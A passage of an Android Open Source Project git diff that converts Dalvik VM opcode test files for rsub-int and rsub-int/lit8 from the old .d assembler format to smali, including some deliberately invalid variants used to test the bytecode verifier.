@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_10.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d
deleted file mode 100644
index e9a9b26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_11.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali
new file mode 100644
index 0000000..219aba6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_11.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d
deleted file mode 100644
index 9c1ffec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_12.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       rsub-int v0, v3, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali
new file mode 100644
index 0000000..e6f0434
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_12.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int v0, v3, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d
deleted file mode 100644
index 4d63eea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_2.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 255
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -32768
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali
new file mode 100644
index 0000000..16f9308
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_2.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 255
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d
deleted file mode 100644
index 23efe0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_3.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali
new file mode 100644
index 0000000..685689f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_3.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d
deleted file mode 100644
index c37f9da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_4.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali
new file mode 100644
index 0000000..8064980
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_4.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d
deleted file mode 100644
index 473020a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_5.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -32768
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali
new file mode 100644
index 0000000..4b32ee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_5.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d
deleted file mode 100644
index e902f19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_6.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali
new file mode 100644
index 0000000..f0f4985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_6.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d
deleted file mode 100644
index 6bb3571..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_7.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali
new file mode 100644
index 0000000..41400f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_7.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d
deleted file mode 100644
index 9494e21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_8.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v4, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali
new file mode 100644
index 0000000..d2bc678
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_8.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v4, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d
deleted file mode 100644
index 12b5fe4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_9.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali
new file mode 100644
index 0000000..ac41fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_9.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d
deleted file mode 100644
index fd45062..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_1.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 4
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 60
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 20
-       return v0
-.end method
-
-.method public run3(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -25
-       return v0
-.end method
-
-.method public run4(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -70
-       return v0
-.end method
-
-.method public run5(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -50
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali
new file mode 100644
index 0000000..45f39e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1.smali
@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -50
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d
deleted file mode 100644
index a8e37a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
